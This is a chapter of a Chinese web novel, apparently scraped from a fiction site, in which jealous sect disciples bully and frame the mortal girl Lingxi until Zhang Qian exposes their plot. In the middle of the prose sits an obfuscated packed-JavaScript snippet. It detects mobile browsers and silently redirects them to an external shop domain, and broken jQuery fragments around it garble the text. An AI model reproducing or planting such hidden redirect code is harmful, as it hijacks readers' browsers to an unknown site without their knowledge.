文趣网 > 都市小说 > 仙煞渡 > 34. 同门排挤,恶意针对
    青云宗的天光洒在云阶之上,本该是仙雾缭绕、一派祥和,可这份祥和,却从未真正笼罩在灵汐身上。

    自她以“福仙”之名入住栖云殿,享尽宗门无上礼遇,独享旁人毕生难求的修行资源,整个青云宗的弟子,上至内门骄子,下至外门杂役,心底早已埋下了嫉妒的种子。

    那些弟子,大多历经层层遴选,苦修数年乃至十数年,兢兢业业,谨小慎微,才在宗门求得一席之地,每日为了微薄的灵石、基础的功法奔波劳碌,连靠近栖云殿的资格都没有。可灵汐一介凡人,无半分修为,无任何资历,仅凭一个虚无缥缈的福仙名头,便坐拥最好的殿宇、最丰沛的资源,连长老都对她温言呵护,百般纵容。

    滔天的嫉妒,如同藤蔓般在众弟子心底疯狂滋生,渐渐扭曲成恶意。他们不敢违抗宗门长老的指令,不敢明着对灵汐动手,便将所有的不满与怨怼,化作了暗地里无休止的刁难与陷害,变着法子折磨这个无权无势、看似柔弱可欺的少女。

    起初,只是些细碎的刻意针对。

    灵汐虽被软禁在栖云殿,偶尔也会遵照清玄长老的吩咐,在苏婉的陪同下,前往藏经阁翻阅修行典籍,或是前往丹堂领取丹药。每每她出现在宗门庭院,沿途的弟子都会停下脚步,用鄙夷、怨恨、嘲讽的目光死死盯着她,窃窃私语的声音不大不小,恰好能传入她耳中。

    “看,就是她,什么都不会,还占着栖云殿,真不知道长老们到底看中她什么。”

    “一个没修为的凡人,也配称福仙?我看是祸星还差不多,凭什么她能不劳而获!”

    “仗着宗门宠着就耀武扬威,我看她也嚣张不了多久!”

    那些话语尖酸刻薄,像一根根细针,狠狠扎在灵汐心上。她总是低着头,攥紧衣角,加快脚步,一言不发地快步走过,只想尽快逃离这些充满恶意的目光。

    她从未想过争抢什么,从未炫耀过自己的礼遇,甚至一直活在宗门的禁锢与恐惧之中,可即便如此,依旧逃不过旁人的嫉妒与排挤。

    可她的沉默与退让,在那些弟子眼中,却成了懦弱可欺的表现,让他们的恶意愈发肆无忌惮。

    负责给栖云殿运送膳食、灵果的外门弟子,最先开始暗中使绊子。本该按时送到的温热膳食,常常被故意拖延半个时辰,等到了灵汐手中,早已冷透,散发着难以下咽的寒气;宗门特意为她准备的滋养神魂的灵果,总会被偷偷换掉,要么是品相极差、灵气稀薄的残次果,要么是被虫蛀过、带着苦涩异味的坏果;就连每日必用的净水,都被故意混入泥沙,浑浊不堪。

    起初,灵汐以为只是意外,默默忍受着,冷掉的膳食勉强下咽,泥沙水沉淀后再用,被换掉的灵果也从不声张。她身处险境,自身被命格禁锢,毫无反抗之力,只想安稳度日,不惹事端,不给张乾添麻烦,也避免引来宗门更多的关注。

    可她的隐忍,只会换来变本加厉的刁难。

    一日,苏婉带着灵汐前往演武场旁的静心台,让她观摩内门弟子修行,顺带感悟天地灵气。刚在石凳上坐下,不远处一群身着内门服饰的弟子便围了过来,为首的是宗门长老的亲传弟子林皓,平日里在弟子中颇有威望,也最是嫉妒灵汐的待遇。

    林皓抱着双臂,居高临下地看着灵汐,嘴角勾起一抹嘲讽的笑意,语气极尽刻薄:“这不是咱们青云宗的大贵人福仙吗?怎么,没了长老护着,也敢出来走动?就你这样手无缚鸡之力的凡人,看得懂我们修行吗?别是在这里沾污了灵气。”

    身边的弟子立刻跟着哄笑起来,眼神里满是戏谑与恶意。

    “林师兄,你可别这么说,人家可是福仙,往这一站,就能给我们带来福运呢!”

    “什么福运,我看是晦气,自从她来了,我修行都不顺了!”

    “不如让她给我们磕个头,说不定我们心情好了,还能教她两招粗浅功法,免得她一辈子都是废物。”

    灵汐紧紧抿着唇,脸色苍白,往后缩了缩身子,往苏婉身边靠了靠,试图寻求庇护。可苏婉只是站在一旁,眼神淡漠,丝毫没有上前阻拦的意思,甚至微微往后退了一步,摆明了冷眼旁观,任由众人刁难灵汐。

    她本就是宗门安排在灵汐身边监视的人,这些弟子的排挤刁难,恰好能消磨灵汐的意志,让她更加软弱无助,更易被宗门控制,苏婉自然乐见其成。

    见无人护着灵汐,林皓等人愈发大胆。

    一名弟子故意抬脚,狠狠踹向灵汐身下的石凳,石凳猛地晃动,灵汐猝不及防,身子一歪,重重摔在冰冷的地面上,手肘磕在石阶上,瞬间擦破一大片皮肉,渗出血珠,传来钻心的疼痛。

    “哎呀,实在不好意思,手滑脚滑,没站稳。”那弟子假惺惺地道歉,脸上却满是得意的笑容,没有丝毫歉意。

    灵汐撑着地面,忍着疼痛想要起身,林皓却上前一步,故意用脚踩住她的衣袖,让她动弹不得,低头冷笑道:“摔了就摔了,急着起来做什么?咱们福仙大人,不是应该高高在上吗?怎么摔在地上,这么狼狈不堪?”

    “放开我……”灵汐小声挣扎着,眼眶泛红,泪水在眼眶里打转,却倔强地不肯落下来。

    “放开你?可以啊。”林皓挑眉,眼神凶狠,“你跪下给我们道歉,承认自己不配待在栖云殿,不配拥有宗门的礼遇,我们就放开你,怎么样?”

    “我没有错,我不道歉。”灵汐抬起头,眼神坚定,即便满身狼狈,也不肯屈服。

    她从未招惹过任何人,从未抢占过任何人的东西,所有的一切,都是宗门强行安排的,她凭什么要道歉,凭什么要承受这些无妄之灾!

    见灵汐不肯低头,林皓彻底恼羞成怒,抬手就想朝着灵汐的脸上挥去。

    就在这千钧一发之际,一道身影突然从远处快步冲来,狠狠撞开林皓,将灵汐护在了身后。

    来人正是张乾。

    他今日借着运送杂役物资的机会,一直在暗中跟着灵汐,看到这群弟子围上来刁难时,他便攥紧了拳头,强忍着冲动,没有贸然现身——他此刻是身份卑微的外门弟子,一旦出手,必然会暴露异常,引来长老怀疑,反而害了灵汐。

    可眼看林皓要对灵汐动手,他再也顾不上隐藏,立刻冲了过来。

    张乾将灵汐牢牢护在身后,周身散发着冰冷的气息,即便刻意收敛了煞气,可眼底的寒意,依旧让林皓等人下意识地后退了一步。

    “你是什么东西?一个小小的外门杂役,也敢管我们内门的事?”林皓回过神来,对着张乾厉声呵斥,满脸不屑。

    “她没有招惹你们,你们不要太过分。”张乾低着头,刻意用外门弟子怯懦的语气说话,却死死挡在灵汐身前,半步不退。

    “我们教训她,关你屁事!一个低贱的杂役,也敢多管闲事,我看你是活腻了!”林皓气急,抬手就朝着张乾挥去。

    张乾不动声色地侧身躲开,同时悄悄用脚勾了一下林皓的腿,林皓重心不稳,狠狠摔在地上,狼狈至极。

    周围的弟子瞬间哗然,谁也没想到,一个不起眼的外门弟子,居然敢对内门弟子动手。

    林皓又羞又怒,从地上爬起来,嘶吼着要对张乾动手,就在此时,苏婉终于开口,冷声呵斥道:“够了!此地是静心台,不是你们撒野的地方,再闹下去,惊动长老,谁都讨不到好!”

    苏婉毕竟是内门执事,林皓等人即便心有不甘,也不敢公然违抗,只能狠狠瞪着张乾和灵汐,放下狠话:“你们给我等着,这件事没完!”

    说完,便带着一众弟子愤愤离去。

    看着众人走远,灵汐才松了口气,手肘的疼痛愈发剧烈,眼泪终于忍不住落了下来。张乾转过身,看着她流血的手肘,眼底满是心疼,却不敢表露太多,只能压低声音,用只有两人能听到的语气说道:“别怕,没事了,往后我跟着你。”

    他快速从怀中掏出提前备好的疗伤草药,这是他在药草园偷偷采摘炼制的,专门为了应对这种情况,小心翼翼地帮灵汐敷在伤口上,动作轻柔至极。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597691|205595||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    苏婉站在一旁,将这一切看在眼里,却没有多说什么,只是淡淡瞥了张乾一眼,便催促灵汐返回栖云殿。

    本以为这场刁难就此结束,可谁也没想到,林皓等人的恶意,已经升级成了蓄意陷害。

    次日清晨,宗门丹堂突然传来消息,库房内珍藏的一枚聚气丹失窃,而昨日最后出入丹堂的,除了执事弟子,便只有灵汐一人。

    林皓等人立刻抓住机会,联合一众弟子,闹到了清玄长老面前,一口咬定是灵汐偷了聚气丹,理由便是灵汐贪图修行资源,趁人不备偷走丹药,还故意编造出诸多所谓的“证据”,栽赃陷害。

    一时间,整个青云宗都炸开了锅,弟子们议论纷纷,本就对灵汐心存不满,此刻更是众口铄金,纷纷指责灵汐不知感恩、偷窃宗门宝物,要求长老严惩灵汐,将她赶出栖云殿。

    清玄长老明知灵汐被软禁,根本没有偷窃的动机和能力,这一切都是弟子们的恶意陷害,可他为了安抚众弟子,也为了进一步消磨灵汐的意志,并没有戳穿真相,反而派人将灵汐叫到殿前,当众质问。

    灵汐站在大殿中央,看着周围弟子们鄙夷怨恨的目光,听着他们无休止的指责谩骂,浑身冰冷,百口莫辩。

    她从未去过丹堂库房,从未见过什么聚气丹,所有的一切,都是他们凭空捏造的陷害,可没有人相信她,没有人愿意听她解释。

    “我没有偷,我真的没有偷……”灵汐反复解释着,声音哽咽,却显得如此苍白无力。

    林皓等人得理不饶人,步步紧逼,甚至要求对灵汐搜身,还要搜查栖云殿,非要把莫须有的罪名坐实。

    就在灵汐孤立无援、快要崩溃之际,张乾再次站了出来。

    他依旧是那身不起眼的外门弟子服饰,跪在大殿中央,沉声说道:“长老,此事与灵汐师妹无关,昨日我在丹堂外做杂役,看到是林皓师兄身边的弟子,偷偷潜入丹堂库房,偷走了聚气丹,故意栽赃给灵汐师妹。”

    他早已料到林皓等人会报复,昨夜便暗中跟踪,查到了他们藏匿聚气丹的地方,也摸清了他们陷害灵汐的全部计划。

    林皓等人闻言,脸色骤变,厉声反驳:“你胡说!你一个低贱杂役,分明是偏袒她,故意陷害我们!”

    “我没有胡说,丹药就藏在演武场东侧的老槐树下,长老派人一查便知。”张乾语气坚定,没有丝毫慌乱。

    清玄长老立刻派人前去搜查,不过片刻,弟子便拿着那枚聚气丹返回,证据确凿,林皓等人再也无法辩驳,脸色惨白,瘫软在地。

    真相大白,陷害之事不攻自破,可即便如此,众弟子看向灵汐的目光,依旧没有半分歉意,嫉妒与恶意反而更深。他们将所有的过错,都归咎于灵汐身上,觉得是灵汐让他们颜面尽失,往后的针对与刁难,只会更加变本加厉。

    清玄长老象征性地责罚了林皓等人,便草草了结了此事,对灵汐没有半句安抚,转身离去。

    大殿之上,只剩下灵汐孤零零地站在原地,周围依旧是一道道充满恶意的目光,耳边依旧是细碎的嘲讽与谩骂。

    她身处这座看似圣洁的仙门,一边要承受宗门的禁锢与操控,一边要面对同门无休止的排挤、刁难与陷害,四面楚歌,孤立无援。

    张乾走到她身边,默默陪着她,用眼神无声地安慰着她。

    他知道,只要灵汐还享受着宗门的重视,只要这份嫉妒还在,同门的恶意就永远不会停止。往后的日子,他必须更加谨慎,寸步不离地守在灵汐身边,挡住所有的明枪暗箭,绝不能再让她受半点伤害。

    夕阳落下,将灵汐的身影拉得很长,她低着头,擦干眼泪,眼底不再是单纯的脆弱,多了一丝隐忍的坚定。

    她不能被这些恶意打垮,她要活下去,要挣脱所有的禁锢,要和张乾一起,离开这个充满恶意与阴谋的地方。

    而这场由嫉妒引发的同门纷争,才刚刚拉开序幕,未来的日子,注定布满荆棘,可只要有一丝希望,她便不会放弃。